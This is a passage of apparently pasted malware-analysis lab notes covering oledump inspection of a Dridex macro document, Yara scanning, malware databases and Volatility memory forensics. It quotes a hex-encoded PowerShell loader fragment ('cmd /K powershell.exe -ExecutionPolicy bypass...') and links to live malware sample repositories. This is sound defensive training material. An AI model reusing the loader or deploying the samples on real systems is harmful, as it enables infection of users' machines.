3251. - List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
3252.
3253. sudo apt-get install -y python-pefile
3254.
3255. vi analyse_malware.py
3256.
3257. python analyse_malware.py malware.exe
```



```
3258.
3259.
3260.
3261.
3262. Building a Malware Scanner
3263. -----
3264.
3265. mkdir ~/Desktop/malwarescanner
3266.
3267. cd ~/Desktop/malwarescanner
3268.
3269. wget https://github.com/jonahbaron/malwarescanner/archive/master.zip
3270.
3271. unzip master.zip
3272.
3273. cd malwarescanner-master/
3274.
3275. python scanner.py -h
3276.
3277. cat strings.txt
3278.
3279. cat hashes.txt
3280.
3281. mkdir ~/Desktop/malcode
3282.
3283. cp ~/Desktop/malware.exe ~/Desktop/malcode
3284.
3285. python scanner.py -H hashes.txt -D /home/malware/Desktop/malcode/ strings.txt
```

```
3286.
3287. cp ~/Desktop/
3288.
3289.
3290.
3291. #####
3292. # Analyzing Macro Embedded Malware #
3293. # Reference: #
3294. # https://jon.glass/analyzes-dridex-malware-p1/ #
3295. #####
3296. cp ~/Desktop/
3297.
3298. - Create a FREE account on:
3299. https://malwr.com/account/signup/
3300.
3301. - Grab the malware from:
3302. https://malwr.com/analysis/MzkzMTk3MzBlZGQ2NDRhY2IyNTc0MGI5MWQwNzEwZmQ/
3303.
3304. file ~/Downloads/f9b874f9ccf803abaeaaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
3305.
3306. cat ~/Downloads/f9b874f9ccf803abaeaaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
3307.
3308.
3309.
3310.
3311. sudo pip install olefile
3312.
3313. mkdir ~/Desktop/oledump
```

```
3314.
3315. cd ~/Desktop/oledump
3316.
3317. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
3318.
3319. unzip oledump_V0_0_22.zip
3320.
3321. cp ~/Downloads/f9b874f9ccf803abaeaaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin .
3322.
3323. mv f9b874f9ccf803abaeaaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin 064016.doc
3324.
3325. python oledump.py 064016.doc
3326.
3327. python oledump.py 064016.doc -s A4 -v
3328.
3329. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
3330. - Three of the data streams are flagged as macros: A3:'VBA/Module1', A4:'VBA/Module2', A5:'VBA/ThisDocument'.
3331.
3332.
3333. python oledump.py 064016.doc -s A5 -v
3334.
3335. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
3336.
3337.
3338. python oledump.py 064016.doc -s A3 -v
3339.
3340. - Look for "GVhkjbjv" and you should see:
3341.
```

```
3342. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E657772D4F626A65637
3343.
3344. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
3345. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
3346.
3347.
3348.
3349.
3350. #####
3351. # Yara Ninja #
3352. #####
3353. sudo apt-get remove -y yara
3354.
3355. wget https://github.com/plusvic/yara/archive/v3.4.0.zip
3356.
3357. sudo apt-get -y install libtool
3358.
3359. unzip v3.4.0.zip
3360.
3361. cd yara-3.4.0
3362.
3363. ./bootstrap.sh
3364.
3365. ./configure
3366.
3367. make
3368.
3369. sudo make install
```

```
3370.
3371. yara -v
3372.
3373. cd ..
3374.
3375. wget https://github.com/Yara-Rules/rules/archive/master.zip
3376.
3377. unzip master.zip
3378.
3379. cd ~/Desktop
3380.
3381. yara rules-master/packer.yar malcode/malware.exe
3382.
3383.
3384. Places to get more Yara rules:
3385. -----
3386. https://malwareconfig.com/static/yaraRules/
3387. https://github.com/kevthehermit/YaraRules
3388. https://github.com/VectraThreatLab/reயara
3389.
3390.
3391.
3392. Yara rule sorting script:
3393. -----
3394. https://github.com/mkayoh/yarasorter
3395.
3396.
3397.
```

```
3398. cd ~/Desktop/rules-master
3399. for i in $(ls --hide=master.yar); do echo include \"$i\";done > master.yar
3400. cd ~/Desktop/
3401. yara rules-master/master.yar malware/malware.exe
3402.
3403.
3404.
3405.
3406.
3407.
3408.
3409.
3410.
3411.
3412. Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with:
3413. http://derekmorton.name/files/malware_12-14-12.sql.bz2
3414.
3415.
3416. Malware Repositories:
3417. http://malshare.com/index.php
3418. http://www.malwareblacklist.com/
3419. http://www.virusign.com/
3420. http://virusshare.com/
3421. http://www.tekdefense.com/downloads/malware-samples/
3422.
3423.
3424.
3425.
```

```
3426. #####
3427. # Creating a Malware Database #
3428. #####
3429.
3430. Creating a malware database (sqlite)
3431. -----
3432. sudo apt-get install -y python-simplejson python-simplejson-dbg
3433. wget https://malwarecookbook.googlecode.com/svn/trunk/4/4/avsubmit.py
3434. wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip
3435. unzip malware-password-is-infected.zip
3436. infected
3437. python avsubmit.py --init
3438. python avsubmit.py -f malware.exe -e
3439.
3440.
3441.
3442.
3443.
3444. Creating a malware database (mysql)
3445. -----
3446. - Step 1: Installing MySQL database
3447. - Run the following command in the terminal:
3448.
3449. sudo apt-get install mysql-server
3450.
3451. - Step 2: Installing Python MySQLdb module
3452. - Run the following command in the terminal:
3453.
```

```
3454. sudo apt-get build-dep python-mysqldb
3455. sudo apt-get install python-mysqldb
3456.
3457. Step 3: Logging in
3458. Run the following command in the terminal:
3459.
3460. mysql -u root -p (set a password of 'malware')
3461.
3462. - Then create one database by running following command:
3463.
3464. create database malware;
3465.
3466. exit;
3467.
3468. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
3469.
3470. vi mal_to_db.py (fill in database connection information)
3471.
3472. python mal_to_db.py -i
3473.
3474. python mal_to_db.py -f malware.exe -u
3475.
3476.
3477. mysql -u root -p
3478. malware
3479.
3480. mysql> use malware;
3481.
```



```
3482. select id,md5,sha1,sha256,time FROM files;
3483.
3484. mysql> quit;
3485.
3486.
3487.
3488.
3489.
3490.
3491.
3492.
3493.
3494. #####
3495. # Memory Analysis #
3496. #####
3497. cd /home/malware/Desktop/Banking\ Troubles/Volatility
3498.
3499. python volatility
3500. python volatility pslist -f ../hn_forensics.vmem
3501. python volatility connscan2 -f ../hn_forensics.vmem
3502. python volatility memdump -p 888 -f ../hn_forensics.vmem
3503. python volatility memdump -p 1752 -f ../hn_forensics.vmem
3504. ***Takes a few min***
3505. strings 1752.dmp | grep "^http://" | sort | uniq
3506. strings 1752.dmp | grep "Ahttps://" | uniq -u
3507. cd ..
3508. foremost -i ../Volatility/1752.dmp -t pdf -o output/pdf2
3509. cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf2/
```

```
3510. cat audit.txt
3511. cd pdf
3512. ls
3513. grep -i javascript *.pdf
3514.
3515.
3516.
3517. cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf5/pdf
3518. wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
3519. unzip pdf-parser_V0_6_4.zip
3520. python pdf-parser.py -s javascript --raw 00600328.pdf
3521. python pdf-parser.py --object 11 00600328.pdf
3522. python pdf-parser.py --object 1054 --raw --filter 00600328.pdf > malicious.js
3523.
3524. cat malicious.js
3525.
3526.
3527. *****Sorry - no time to cover javascript de-obfuscation today*****
3528.
3529.
3530. cd /home/malware/Desktop/Banking\ Troubles/Volatility/
3531. python volatility files -f ../hn_forensics.vmem > files
3532. cat files | less
3533. python volatility malfind -f ../hn_forensics.vmem -d out
3534. ls out/
3535. python volatility hivescan -f ../hn_forensics.vmem
3536. python volatility printkey -o 0xe1526748 -f ../hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
3537. for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done
```

3538.  
3539.  
3540.  
3541.  
3542.  
3543.  
3544.  
3545.  
3546.  
3547. Explain to me how this script works.

## RAW Paste Data

```

CEH Module 1: Introduction to Ethical Hacking #
#####
```

Attacking a large company:

```

Passive Scanning
```



[create new paste](#) / [deals](#) <sup>new!</sup> / [syntax languages](#) / [archive](#) / [faq](#) / [tools](#) / [night mode](#) / [api](#) / [scraping api](#)  
[privacy statement](#) / [cookies policy](#) / [terms of service](#) / [security disclosure](#) / [dmca](#) / [contact](#)

Dedicated Server Hosting by Steadfast